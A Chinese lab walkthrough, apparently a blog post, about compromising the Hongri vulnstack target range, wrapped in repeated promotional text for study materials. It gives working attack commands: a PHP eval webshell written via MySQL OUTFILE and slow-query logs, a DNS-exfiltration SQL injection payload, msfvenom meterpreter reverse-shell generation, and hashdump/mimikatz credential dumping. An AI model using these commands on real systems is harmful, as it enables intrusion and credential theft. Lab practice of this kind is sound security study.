既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上软件测试知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
一、环境搭建
实验环境拓扑如下:
红日靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
这里搭一个最简单的域环境,域控+dmz服务器(去掉域成员)
windows2008 域控 (host-only)10.37.129.9
windiws 7 web服务器 (双网卡 host-only + 乔接)10.37.129.7/172.20.10.8
windows 10 172.20.10.9 (cs客户端)
kali 172.20.10.10
公网vps (cs服务端)
二、拿下web服务器
信息收集
拿到站点后,我们先找其ip地址(这里直接有了),用nmap扫描一波,
得到了一些信息:
(中间换了个环境ip发生了变化不过问题不大~)
然后访问其80端口,是一个phpinfo()页面:
以其为根目录,再扫描其他路径。
扫描工具很多,能不能扫出有用信息还是看字典是否强大。
这里是扫出来phpmyadmin和beifen.rar路径。
phpmyadmin
数据库管理后台,如果能让猜解出账号密码,可尝试使用file_into或日志写入webshell。
这里是直接 root/root 弱口令可以登录:
into写入文件:
使用需看要secure_file_priv的值。
当value为“null”时,不允许读取任意文件
当value为“空”时,允许读取任意文件
value可也已设置为其他路径。
这里secure_file_priv值为空,就行不通了。
ps:如果想通过into写入文件:
修改value的值:
windows下修改配置文件:mysql.ini
linux修改配置文件:my.cnf
select 1,'<?php eval($\_POST[a]);?>' INTO OUTFILE '/var/www/html/test.php'#
select 1,'<?php eval($\_POST[a]);?>' INTO dumpfile '/var/www/html/test.php'#
#区别在于使用outfile时,文件中一行的末尾会自动换行
日志getshell
主要使用慢日志getshell
慢日志:
一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:
show global variables like '%long\_query\_time%'
因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。
查看:
set global slow_query_log=1; #开启
set global slow_query_log=0; #关闭
2.伪造(修改)slow_query_log_file日志文件的绝对路径以及文件名
set global slow_query_log_file='dir\filename'
3.向日志中写入内容
实战如下:
yxcms
直接给出了后台登录方式:
文件上传
因为是靶场,直接上一句话即可:
文件已上传,可通过前面下载的beifen.rar文件来查找acomment.php文件来确定文件上传的路径:
蚁剑成功连接:
xss
留言板处存在xss漏洞:
后台审核时触发:
sql注入
注入点:http://xxx/index.php?r=admin/fragment/index
payload:1 and if((select load_file(concat(’\’,(select database()),’.xxxx.ceye.io\abc’))),1,1))–
个人感觉用处不大没有复现,有兴趣的师傅可以研究一下。
三、后渗透
后渗透阶段,当我们已经将小马上传到web服务器上时,可以用webshell管理工具进行下一步渗透了。
3.1 基于msf
这里的思路是将shell派送给CS或者msf进行下一步渗透。
使用msf生成exe并开启监听(也可以用cs生产exe):
msfvenom -p windows/meterpreter_reverse_tcp LHOST=172.20.10.8 LPORT=1234 -f exe -o run2.exe
use exploit/mutli/handler
set payload windows/x64/meterpreter_reverse_tcp
set lhost 172.20.10.8
set lport 1234
exploit -j(后台)允许
用蚁剑将exe上传并执行:
得到反弹回来的shell
sessions -i(查看回话)
获取system权限
进来后第一步肯定是提权到system:
这里直接是administrator,所有可以直接提到system,实战中还需要其他手段提权。
第二步是获取账号密码:
1.导入账号,密码hash值:
run hashdump
Windows系统下的hash密码格式为:
用户名称:RID:LM-HASH值:NT-HASH值
NT-HASH hash生产方式:
1. 将明文口令转换成十六进制的格式
2. 转换成Unicode格式,即在每个字节之后添加0x00
3. 对Unicode字符串作MD4加密,生成32位的十六进制数字串
eg:用户密码为test123
转换成十六进制的格式为74657374313233
转换成Unicode格式为7400650073007400310032003300
对字符串7400650073007400310032003300作MD4加密,结果为c5a237b7e9d8e708d8436b6148a25fa1
2.mimikatz
加载 mimikatz 模块,加载模块前需要先将meterpreter迁移到64位的进程,该进程也需要是system权限:
ps
migrate PID
load mimikatz
mimikatz_command -f sekurlsa::searchPasswords
3.kiwi
load wiki
creds_all
开启3389:
run post/windows/manage/enable_rdp
测试:
3.2 msf 联动 cobaltstrike
msf获取到shell后,可以派发给cobaltstrike:
首先cobaltstrike创建监听器:
在msf控制台执行如下操作:
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
![img](https://img-blog.csdnimg.cn/img_convert/fa9d240c8f07887b4f7de058a4b77966.png)
![img](https://img-blog.csdnimg.cn/img_convert/574822973946f0fa949e30569ec0763c.png)
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**[需要这份系统化的资料的朋友,可以戳这里获取](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb)**
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
[外链图片转存中...(img-sTh3YW9b-1715504118761)]
[外链图片转存中...(img-BSBc6MN4-1715504118762)]
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**[需要这份系统化的资料的朋友,可以戳这里获取](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb)**
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**